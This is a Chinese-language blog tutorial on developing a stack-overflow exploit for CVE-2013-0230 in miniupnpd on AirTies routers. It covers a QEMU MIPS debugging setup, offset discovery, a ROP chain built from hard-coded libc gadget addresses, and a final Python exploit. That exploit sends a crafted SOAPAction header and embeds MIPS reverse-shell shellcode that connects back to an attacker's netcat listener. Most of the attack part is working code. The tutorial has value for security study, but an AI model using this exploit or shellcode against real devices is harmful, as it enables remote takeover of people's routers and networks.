路由器Exploit 开发

红日安全成员:lifeand
博客:http://sec-redclub.com/team/

本机环境

概要

本文主要以CVE-2013-0230 漏洞为例,讲解路由器上缓冲区漏洞的exp 编写。

0x01 环境搭建

使用firmware-analysis-toolkit

firmware-analysis-toolkit是模拟固件和分析安全漏洞的工具。
该工具可以自动的解压固件和创建image 使用qemu 来模拟路由器。

在本文中也尝试过使用该工具,但是存在一些问题,无法正常启动,对于这种情况可以使用Debian MIPS 虚拟机来调试,或者也可以直接使用qemu-mipsel-static 来测试某个mips 程序

工具链

使用 buildroot 来构建
buildroot 官网下载最新版,解压并配置相关设置

make menuconfig

选择 mips (big endian) 构架

kernel 这里选择的是 3.10.x

cross gdb 选上,或者也可以使用 gdb-multiarch (apt-get 直接安装,在使用时要set arch mips,本文使用gdb-multiarch)

make 直接编译

make -j2 (-j后面cpu 核心)

在根目录的output 文件夹里就是编译好的程序

网桥搭建

bunctl -t tap0 -u <user>
ifconfig tap0 up
brctl addbr br0 
brctl addif br0 tap0
brctl addif br0 eth0
ifconfig br0 192.168.86.2

在启动Debian MIPS 虚拟机后,需要配置虚拟机的IP 来和主机通讯

Debian MIPS 虚拟机

这里 下载qemu 镜像

网桥搭建

bunctl -t tap0 -u <user>
ifconfig tap0 up
brctl addbr br0 
brctl addif br0 tap0
brctl addif br0 eth0
ifconfig br0 192.168.86.2

在启动Debian MIPS 虚拟机后,需要配置虚拟机的IP 来和主机通讯

启动命令

#!/usr/bin/env sh

qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no

UART 调试

如果手边有路由器也可以使用UART 来调试路由器, 需要使用的是ttl转usb 模块, 拆开路由器后,在电路板上一般会有四个插孔,用于开发时期做调试时用,而在发行时期并没有把对应的调试电路去掉,
所以自己外接ttl转usb 模块或六合一模块来进行UART 调试。需要用到的接口主要有TX,RD,GND,连接完成后

在Linux 系统上可以执行

sudo minicom --device /dev/ttyUSB0

随后,重新接入电源则会出现路由器的启动信息
具体可以参考

0x02 CVE-2013-0230

预备知识

  1. 调试时本文使用gdb 来调试,插件使用pwndbg, 当然也可以使用gef
  2. mips 汇编基础,有些汇编需要去了解下
  3. 因本文调试的CVE 为栈溢出漏洞,所以还需要去了解下其原理
  4. ida 使用基础

CVE-2013-0230

设置目标

下载到目标固件后,使用binwalk 进行解压

记得先 sudo apt install squashfs-tools

解压完后

该漏洞出现在miniupnpd 文件上

使用qemu-system-mips 启动虚拟机,配置ip

配置好后,通过scp 将miniupnpd 文件传输到虚拟机中,

还需要将libc.so.0 和ld-uClibc.so.0 一起复制到虚拟机中,并放在lib 目录用,设置链接,保证miniupnpd 可以运行

启动miniupnpd 需要设置一些参数

这里写了个方便调试的脚本run, 并且开启gdbserver , 启动远程调试服务

IDA 逆向分析

使用ida 打开miniupnpd 文件, 来到ExecuteSoapAction 处

可以清楚的看到memcpy 函数调用, 调用memcpy 过程中将a1 的数据不加限制的复制到a0 (栈上),由此,经典的栈溢出发生

远程调试

在虚拟机中运行run 脚本, 在主机上~/.gdbinit 中加入

set architecture mips
target remote 192.168.86.103:1234

当使用gdb-multiarch 时,自动执行.gdbinit 脚本内容

gdb 连上后运行触发脚本

import urllib2

payload = 'A'*2500 
#payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D'

#payload = 'A' * 2076 
#payload += 'BBBB'
soap_headers = {
        'SOAPAction':"n:schemas-upnp-org:service:WANIPConection:1#"+payload,
        }

soap_data = """
  <?xml version='1.0' encoding="UTF-8"?>
  <SOAP-ENV:Envelope
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap.envelope/"
  >
  <SOAP-ENV:Body>
  <ns1:action xmlns:ns1="urn:schemaas-upnp-org:service:WANIPConnection:1" SOAP-ENC:root="1">
  </ns1:action>
  </SOAP-ENV:Body>
  </SOAP-ENV:Envelope>
  """

req = urllib2.Request("http://192.168.86.103:5555", soap_data, soap_headers)
res = urllib2.urlopen(req)

脚本运行后,程序崩溃

返回地址已经被覆盖为0x41414141, 使用pattern 工具进一步来确定栈的大小

pattern 2500

将payload 改为生成的字符串

重新运行

确定栈大小2076

在0x404f44 处下断点,断下来后,查看a0,a1 的情况

可以看到a1 指向'AAA...'

a0 到sp 的大小为2072, 符合我们所计算的溢出栈的大小

0x03 ROP链

我们可以控制 ra, s0,s1,s2,s3,s4,s5,s6 寄存器, 由于mips 构架的CPU 有两处缓存,cpu 分别从code 缓存和 data 缓存来获取指令和输入的数据
为此我们需要处理缓存问题,清除缓存。Airties 路由器不使用ASLR ,libc 的地址不变

我们需要通过调佣sleep 函数来刷新缓存的问题,随后返回到shellcode 去执行。
这里使用ida 插件mipsrop 来查找一些gadget

1 查找"li $a0, 1"
用ida 载入libc.so.0 , edit->plugins->MIPS ROP Finder 来初始化mipsrop 插件

mipsrop.fine("li $a0, 1")

这里选择地址0x00036860 处的gadget

2
通过miprop.tails() 来找到有用的syscall

找到一处通过s1 传入地址,跳到该地址调用的gadget

3
找到存放shellcode 的地方

4
gadget 将shellcode 的地址放入s0 ,为此要找到一处将s0 放入t9 的指令

5 找到libc 地址
在debian mips 虚拟机上执行

sysctl -w kernel.randomize_va_space = 0 来禁用ASLR
通过/proc/PID/maps 来找到libc 的地址

libc 的基址为0x77f92000

sleep 地址 0x35620
ra_1 = 1.gadget

s1 = 2.gadget

ra__2 = 3.gadget

s6 = 4.gadget

s2 = s6 = 4.gadget

于是payload 构造如下

2052 bytes junk + s1 + 16 bytes junk + s6 + ra_1 + 28 bytes junk + sleep + 40 bytes junk + s2 + ra_2 + 32 bytesjunks + shellcode

0x04 最终EXP

#!/usr/bin/env python


import urllib2
from string import join
from argparse import ArgumentParser
from struct import pack
from socket import inet_aton

BYTES = 4


def hex2str(value, size=BYTES):
    data = ""

    for i in range(0, size):
        data += chr((value >> (8*i)) & 0xFF)

    data = data[::-1]

    return data


arg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \
                            CVE-2013-0230 Reverse Shell exploit for AirTies \
                            RT Series, start netcat on lhost:lport")
#arg_parser.add_argument("--target", required=True, help="Target IP address")
arg_parser.add_argument("--lhost", required=True, help="The IP address\
                        which nc is listening")
arg_parser.add_argument("--lport", required=True, type=int, help="The\
                        port which nc is listening")

args = arg_parser.parse_args()

libc_base = 0x77f92000
ra_1 = hex2str(libc_base + 0x36860)     # ra = 1. gadget
'''
.text:00036860                 li      $a0, 1
.text:00036864                 move    $t9, $s1
.text:00036868                 jalr    $t9 ; sub_36510
.text:0003686C                 ori     $a1, $s0, 2
'''
s1 = hex2str(libc_base + 0x1636C)       # s1 = 2. gadget
'''
.text:0001636C                 move    $t9, $s1
.text:00016370                 lw      $ra, 0x28+var_4($sp)
.text:00016374                 lw      $s2, 0x28+var_8($sp)
.text:00016378                 lw      $s1, 0x28+var_C($sp)
.text:0001637C                 lw      $s0, 0x28+var_10($sp)
.text:00016380                 jr      $t9
.text:00016384                 addiu   $sp, 0x28
'''
sleep = hex2str(libc_base + 0x35620)    # sleep function
ra_2 = hex2str(libc_base + 0x28D3C)     # ra = 3. gadget
'''
.text:00028D3C                 addiu   $s0, $sp, 0xD0+var_B0
.text:00028D40                 lw      $a0, 0($s2)
.text:00028D44                 move    $a1, $s1
.text:00028D48                 move    $a2, $s4
.text:00028D4C                 move    $t9, $s6
.text:00028D50                 jalr    $t9
.text:00028D54                 move    $a3, $s0
'''
s6 = hex2str(libc_base + 0x1B19C)       # ra = 4.gadget
'''
.text:0001B19C                 move    $t9, $s0
.text:0001B1A0                 jalr    $t9
.text:0001B1A4                 nop
'''
s2 = s6
lport = pack('>H', args.lport)
lhost = inet_aton(args.lhost)

shellcode = join([
    "\x24\x11\xff\xff"
    "\x24\x04\x27\x0f"
    "\x24\x02\x10\x46"
    "\x01\x01\x01\x0c"
    "\x1e\x20\xff\xfc"
    "\x24\x11\x10\x2d"
    "\x24\x02\x0f\xa2"
    "\x01\x01\x01\x0c"
    "\x1c\x40\xff\xf8"
    "\x24\x0f\xff\xfa"
    "\x01\xe0\x78\x27"
    "\x21\xe4\xff\xfd"
    "\x21\xe5\xff\xfd"
    "\x28\x06\xff\xff"
    "\x24\x02\x10\x57"
    "\x01\x01\x01\x0c"
    "\xaf\xa2\xff\xff"
    "\x8f\xa4\xff\xff"
    "\x34\x0f\xff\xfd"
    "\x01\xe0\x78\x27"
    "\xaf\xaf\xff\xe0"
    "\x3c\x0e" + lport +
    "\x35\xce" + lport +
    "\xaf\xae\xff\xe4"
    "\x3c\x0e" + lhost[:2] +
    "\x35\xce" + lhost[2:4] +
    "\xaf\xae\xff\xe6"
    "\x27\xa5\xff\xe2"
    "\x24\x0c\xff\xef"
    "\x01\x80\x30\x27"
    "\x24\x02\x10\x4a"
    "\x01\x01\x01\x0c"
    "\x24\x0f\xff\xfd"
    "\x01\xe0\x78\x27"
    "\x8f\xa4\xff\xff"
    "\x01\xe0\x28\x21"
    "\x24\x02\x0f\xdf"
    "\x01\x01\x01\x0c"
    "\x24\x10\xff\xff"
    "\x21\xef\xff\xff"
    "\x15\xf0\xff\xfa"
    "\x28\x06\xff\xff"
    "\x3c\x0f\x2f\x2f"
    "\x35\xef\x62\x69"
    "\xaf\xaf\xff\xec"
    "\x3c\x0e\x6e\x2f"
    "\x35\xce\x73\x68"
    "\xaf\xae\xff\xf0"
    "\xaf\xa0\xff\xf4"
    "\x27\xa4\xff\xec"
    "\xaf\xa4\xff\xf8"
    "\xaf\xa0\xff\xfc"
    "\x27\xa5\xff\xf8"
    "\x24\x02\x0f\xab"
    "\x01\x01\x01\x0c"
    ], '')
payload = 'A'*2052 + s1 + 'A'*(4*4) + s6 + ra_1 + 'A'*28 + sleep + 'A'*40 + s2\
    + ra_2 + 'C'*32 #+ shellcode


soap_headers = {
    'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,
}

soap_data = """
    <?xml version='1.0' encoding="UTF-8"?>
    <SOAP-ENV:Envelope
    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
    >
    <SOAP-ENV:Body>
    <ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"\
        SOAP-ENC:root="1">
    </ns1:action>
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
    """

#try:
print "Exploiting..."
req = urllib2.Request("http://192.168.86.103:5555", soap_data,soap_headers)
urllib2.urlopen(req)

参考

https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1
https://emreboy.wordpress.com/2012/12/24/connecting-qemu-to-a-real-network/
http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/
http://www.devttys0.com/2013/10/mips-rop-ida-plugin/

源链接

Hacking more

...